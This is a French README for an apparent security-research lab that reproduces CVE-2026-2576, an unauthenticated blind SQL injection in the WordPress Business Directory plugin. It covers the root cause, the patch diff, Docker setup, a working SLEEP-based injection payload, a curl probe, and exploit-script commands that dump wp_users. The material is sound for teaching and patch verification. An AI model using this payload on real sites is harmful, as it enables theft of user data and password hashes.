
CVE-2026-2576 — PoC d'injection SQLi pour le plugin Business Directory (Configuration locale). Injection SQL aveugle basée sur le temps, non authentifiée, dans le plugin Business Directory pour WordPress ≤ 6.4.21
Injection SQL aveugle basée sur le temps, sans authentification
Plugin Business Directory pour WordPress ≤ 6.4.21
| Champ | Détail |
|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Éditeur | strategy11team |
| Versions concernées | Toutes les versions ≤ 6.4.21 |
| Corrigé dans | 6.4.22 |
| Type | Injection SQL aveugle basée sur le temps (CWE-89) |
| Authentification | Aucune — entièrement non authentifié |
| CVSS | 7,5 (NVD) / 9,3 (Wordfence) |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Assigneur | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgué | 18 février 2026 |
Le plugin Business Directory est un plugin WordPress largement utilisé pour créer
des annuaires de listes avec support des paiements. Une faille dans son générateur
de requêtes ORM permet à un attaquant non authentifié d'effectuer une injection
SQL aveugle basée sur le temps via le paramètre de requête payment,
permettant d'inférer le contenu de la base de données.
La vulnérabilité se trouve dans le générateur de requêtes ORM :
Fichier : includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNÉRABLE — aucune assainissement, concaténation directe de chaînes
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Sûr — utilise $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Lorsque $v est un scalaire, le code utilise correctement $wpdb->prepare(). Lorsque
$v est un tableau, il tombe dans la branche non sécurisée et concatène les valeurs
directement dans la chaîne SQL sans échappement.
Le contrôleur de paiement (includes/controllers/pages/class-checkout.php)
lit le paramètre de requête payment et le transmet à l'ORM :
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id passé comme valeur
);
}
PHP convertit automatiquement payment[]=value dans la chaîne de requête en un
tableau $_GET['payment'] = ['value']. Cela force $v à être un tableau dans
filter_args(), atteignant ainsi la branche non sécurisée.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← tableau en raison de la notation []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → branche non sécurisée
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
SQL généré :
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
Le -- - commente le ') final. Le IF() crée un oracle
booléen : lorsque la condition est VRAIE, SLEEP(N) se déclenche et la réponse est
retardée ; lorsqu'elle est FAUSSE, la réponse est immédiate.
Remarque : L'ORM exécute la requête deux fois par requête HTTP (une fois dans get(), une fois
dans maybe_execute_query()), donc une charge utile SLEEP(1) produit environ 2 secondes de
délai observable, et SLEEP(2) produit environ 4 secondes.
Un attaquant non authentifié peut inférer et extraire le contenu de la base de données caractère par caractère grâce aux réponses temporelles, notamment :
wp_users), noms d'utilisateur, adresses e-mail, hachages de mots de passeLe correctif de la version 6.4.22 ajoute un assainissement à la branche tableau de
filter_args() :
// AVANT (vulnérable)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// APRÈS (corrigé)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Installer les dépendances Python :
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Attendez jusqu'à voir :
╔══════════════════════════════════════════════════════════╗
║ Configuration du laboratoire terminée ! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress : http://localhost:8080 ║
║ Admin WP : http://localhost:8080/wp-admin ║
║ phpMyAdmin : http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin : 6.4.21 (VULNÉRABLE) ║
║ ID de page BD : 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Attendu : * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# Accès à http://localhost:8082 (root / rootpass)
Toutes les commandes s'exécutent depuis le répertoire racine du laboratoire sur votre hôte Kali.
Utilisez http://localhost:8080 (mappage de port hôte → Docker).
La payment_key doit correspondre à une ligne existante dans wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
Attendu : INJECTION CONFIRMÉE ✓ (2,03 s ≈ 1 s × 2 exécutions ORM)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| Option | Défaut | Remarques |
|---|---|---|
--sleep N | 1 | SLEEP(N) par oracle. VRAI ≈ N×2 s. Plus bas = plus rapide, plus bruyant |
--threads N | 4 | Positions de caractères en parallèle. 8 fonctionne bien sur du matériel moderne |
# Extraction la plus rapide
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# Référence : doit répondre en < 0,1 s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sonde de sommeil : doit répondre en ~4 s (SLEEP(2) × 2 exécutions)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
Pour comparer la version vulnérable à la version corrigée :
python3 poc/patch_diff.py
# Pour un diff complet
python3 poc/patch_diff.py --full
# Télécharger les deux versions
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# Comparer le fichier vulnérable
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
Le diff montrera esc_sql() ajouté à la branche tableau dans filter_args().
# Arrêter le laboratoire (conserve les données)
docker compose stop
# Redémarrer
docker compose start
# Démontage complet — détruit tous les volumes et données
docker compose down -v
# Relancer la configuration depuis zéro
docker compose down -v && docker compose up setup
# Ouvrir un shell dans le conteneur WordPress
docker exec -it lab_wordpress bash
# Consulter le journal d'erreurs PHP de WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# Surveiller le journal des requêtes MySQL en temps réel
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() de WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/Ce dépôt est destiné uniquement à la recherche en sécurité autorisée et à des fins pédagogiques. Tous les tests ont été menés dans un environnement de laboratoire local isolé. N'exécutez jamais cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans d'autres juridictions.
L'auteur décline toute responsabilité en cas d'utilisation abusive de ce matériel. Suivez toujours les pratiques de divulgation responsable — si vous découvrez de nouveaux résultats fondés sur cette recherche, coordonnez-vous avec l'éditeur avant toute publication.
Recherché et développé dans un laboratoire Docker isolé sur Kali Linux.